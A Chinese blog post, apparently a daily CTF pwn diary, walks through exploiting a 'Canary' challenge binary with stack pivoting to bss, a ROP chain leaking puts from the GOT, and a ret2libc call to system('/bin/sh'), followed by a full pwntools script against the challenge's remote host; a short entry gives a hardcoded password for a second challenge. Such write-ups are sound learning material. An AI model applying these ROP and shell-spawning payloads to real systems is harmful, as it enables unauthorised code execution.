每日一Pwn 2025/1/23

Canary

检查保护,开了代码执行保护和Canary

image-20250121001505410

查看程序,可以发现在main函数中的read是从 rbp+0 的位置开始读的,因此我们可以通过劫持rbp到 __stack_chk_fail 函数来覆写got表绕过Canary


劫持___stack_chk_fail函数绕过canary

当开启Canary保护时,程序会调用 stack_chk_fail函数来对Canary进行check,如果检测到被篡改,则会调用函数来退出程序。

但是当我们将GOT表中 stack_chk_fail的值为目标函数的值后,在触发Canary篡改检测时就会调用目标函数而不是 stack_chk_fail


这里我们通过栈迁移来打,首先需要找到一段有权限的区域,在gdb中用vmmap查看。因此选取0x404000+0xa00作为写入的地址,定义为buf

image-20250123114526005

首先我们需要覆盖rbp和ret_add,利用函数自带的main函数末尾自带的leave;ret将rbp劫持到刚定义的bss,rip到main函数(注意要在push rbp | mov rbp rsp 之后)

payload1 = p64(gadget) + p64(main_add)
io.send(payload1)

目前的rbp在gadget(0x404000 + 0xa00),rip返回到了main函数进行第二次read。main函数中的read都是从rbp开始,因此payload2也是从rbp开始写入。写入后再一次执行leave;ret,mov rsp rbp将rsp迁移到了gadget(0x404000 + 0xa00),pop rbp将gadget + 0x40 + 0x8赋值给了rbp,rsp+0x8,再pop rip,随后程序将从gift函数执行。

两次pop后rbp在 gadget + 0x40 + 0x8 ,rsp在 gadget + 0x10,程序流从gift开始

payload2 = p64(gadget + 0x40 + 0x8) + p64(gift_add)
io.send(payload2)

payload3用gift内的read,此时read的地址是 rsp - 0x40 ,也就是 gadget + 0x40 + 0x8 - 0x40 = gadget + 0x8 。read的返回地址为 rsp - 0x8(返回地址push后 rsp-0x8),即为 gadget +0x8 ,也就是写入的地址。所以这条payload可以通过read执行后的ret直接执行,执行完后泄露出Puts的地址,并将程序流返回到gift函数进行最后一次的 getshell

此时rbp在 gadget + 0x40 + 0x8,但是rsp在read开始时由于payload3中的pop与ret(pop_rdi有一个pop 一个ret ,plt有一个ret,ret本身就是一个ret,总共有4个 所以在 gadget + 0x10 + 0x8*4

payload3 = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_add) + p64(gift_add)
io.sendline(payload3)

上一个payload将程序流劫持到了gift,可以直接用gift中长度比较大的read进行payload的写入,根据rsp的地址进行填充,使rsp刚好到payload4中gadget的位置

payload4 = b'a'*(0x8*4) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendline(payload4)

完整代码

from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*

#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'

host='gz.imxbt.cn'
port=20912
file_name='pwn'

Breakpoint_NoPIE=0x000000000040135E
Breakpoint_PIE=0x1100
#========================

local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def Start():
    if args.C:
        ROPgadget(local_file)
        exit(0)
    elif args.CL:
        ROPgadget(local_libc)
        exit(0)
    elif args.G:
        gdbscript = f'b *{Breakpoint_NoPIE}'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.GP:
        gdbscript = f'b *$rebase({Breakpoint_PIE})'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.P:
        io = process(local_file)
    else:
        io = remote(host,port)
    return io

def Exp():
    1==1

    gadget = 0x404000 + 0xa00
    main_add = 0x0000000000401296
    gift_add = 0x0000000000401249

    io.sendlineafter(b'functions?',b'0')

    payload1 = p64(gadget) + p64(main_add)
    io.send(payload1)

    io.sendlineafter(b'functions?',b'0')

    payload2 = p64(gadget + 0x40 + 0x8) + p64(gift_add)
    io.send(payload2)

    ret_add = 0x000000000040101a
    pop_rdi = 0x00000000004013e3
    puts_got = elf.got['puts']
    puts_plt = elf.plt['puts']

    print("Puts_got: ",hex(puts_got))
    print("Puts_plt: ",hex(puts_plt))

    payload3 = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_add) + p64(gift_add)
    io.sendline(payload3)

    puts_add = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    print("Puts_add: ",hex(puts_add))

    libc = LibcSearcher('puts',puts_add)    # libc6_2.31-0ubuntu9.10_amd64

    libc_base = puts_add - libc.dump('puts')
    system_add = libc_base + libc.dump('system')
    bin_sh_add = libc_base + libc.dump('str_bin_sh')

    # libc_base = puts_add - libc.symbols['puts']
    # system_add = libc_base + libc.symbols['system']
    # bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

    print(f'Libc_base: {hex(libc_base)}')

    payload4 = b'a'*(0x8*4) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
    io.sendline(payload4)

if __name__=='__main__':
    io=Start()
    Exp()
    io.sendline(b'ls')
    io.sendline(b"cat flag")
    io.interactive()

Secret

静态分析主函数,存在一个输入的check,输入 SuperSecretPassword 得到flag

image-20250123223704881

评论

  1. 博主
    1 周前
    2025-1-23 22:40:44

    22日打了大半天没有打通,今天才把这道Canary打通(ó﹏ò。)

    来自四川

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇